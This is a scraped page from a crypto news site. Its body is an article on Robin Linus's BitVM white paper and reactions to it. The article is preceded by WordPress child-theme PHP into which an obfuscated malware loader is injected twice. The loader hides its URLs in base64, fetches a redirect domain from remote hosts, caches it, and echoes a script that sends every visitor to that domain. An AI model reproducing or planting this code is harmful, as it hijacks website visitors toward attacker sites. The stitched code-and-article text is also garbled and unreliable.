if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . '/rtl.css' ) ) $uri = get_template_directory_uri() . '/rtl.css'; return $uri; } endif; add_filter( 'locale_stylesheet_uri', 'chld_thm_cfg_locale_css' ); if ( !function_exists( 'chld_thm_cfg_parent_css' ) ): function chld_thm_cfg_parent_css() { wp_enqueue_style( 'chld_thm_cfg_parent', trailingslashit( get_template_directory_uri() ) . 'style.css', array( 'font-awesome-v5','bootstrap','sidr','magnific-popup','sliderpro' ) ); wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); } endif; add_action( 'wp_enqueue_scripts', 'chld_thm_cfg_parent_css', 10 ); // END ENQUEUE PARENT ACTION add_action( 'admin_enqueue_scripts', 'my_cfg_admin_enqueue' ); function my_cfg_admin_enqueue(){ wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); }if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>/** * The header for our theme * * This is the template that displays all of the section and everything up until
* * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package CoverNews */ ?> > Bitcoiner drops BitVM paper — Bringing Ethereum-like contracts to Bitcoin – CoinsMegaNews

Bitcoiner drops BitVM paper — Bringing Ethereum-like contracts to Bitcoin

3 years ago CryptoExpert
Bitcoiner drops BitVM paper — Bringing Ethereum-like contracts to Bitcoin

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A Bitcoin developer has proposed a new way to bring more expressive off-chain smart contracts to Bitcoin without needing a soft fork.

Announced in an Oct. 9 white paper titled “BitVM: Compute Anything on Bitcoin” by ZeroSync project lead Robin Linus, BitVM enables Turing-complete Bitcoin contracts without altering Bitcoin’s consensus rules.

A Turing-complete system is one that can theoretically provide an answer to any computational problem.

With BitVM, the “logic” of Bitcoin contracts would be executed off-chain, but verification would be made on Bitcoin — similar to Ethereum’s optimistic rollups.

BitVM’s architecture is based on fraud proofs and a challenge-response model where a “prover” can make claims and a “verifier” can perform a fraud proof to punish the prover when false claims are made.

Linus explained that Bitcoin, in its current form, is limited to basic operations, such as signatures, timelocks and hashlocks — but that can now be broadened with BitVM, which Linus says can compute a host of interesting applications.

“Potential applications include games like Chess, Go, or Poker, and particularly, verification of validity proofs in Bitcoin contracts.”

“Additionally, it might be possible to bridge BTC to foreign chains, build a prediction market, or emulate novel opcodes,” said Linus.

Linus said a limitation of the model is that it is limited to a two-party setting with a prover and a verifier and that a significant amount of off-chain computation and communication is needed to execute programs.

Linus said the next “milestone” is to fully implement the BitVM in addition to Tree++, a high-level programming language to write and debug Bitcoin contracts.

BitVM is enabled by the Taproot soft fork, which took place in November 2021.

Linus cited Ethereum research into optimistic rollups and a study on Merkle trees in contributing to the eight-page white paper.

Bitcoiners respond to BitVM

Prominent Bitcoiner Eric Wall posted on X (Twitter) that the concepts outlined in the BitVM white paper “check out” and that he is “cautiously excited” to see what real-world experiments stem from it.

Bitcoin analyst Dylan LeClair is also impressed with BitVM’s white paper. But Adam Back, a Bitcoin Core contributor, suggested that people shouldn’t get too excited about the development just yet.

Related: BIP-300 biff: Debate reignites over years-old Bitcoin Drivechain proposal

One builder in the blockchain space, “dotta,” noted that there is already a proof-of-concept on GitHub.

Another X user, Sam Parker, attempted to resolve a common fear among Bitcoin (BTC) maximalists by explaining that BitVM won’t force Bitcoin’s to be “locked” into these contracts.

“Finally, this is opt-in. If you don’t trust your coins being locked to some Turing complete contract (totally reasonable) then don’t lock them to a Turing complete smart contract. One of [the] beauties of the UTXO system is security sandboxing.”

Others, such as “Psage,” say BitVM adds to the list of things that will push Bitcoin’s price forward in the next bull market.

Cointelegraph contacted Linus for comment but did not receive an immediate response.

Magazine: Wolf Of All Streets worries about a world where Bitcoin hits $1M: Hall of Flame



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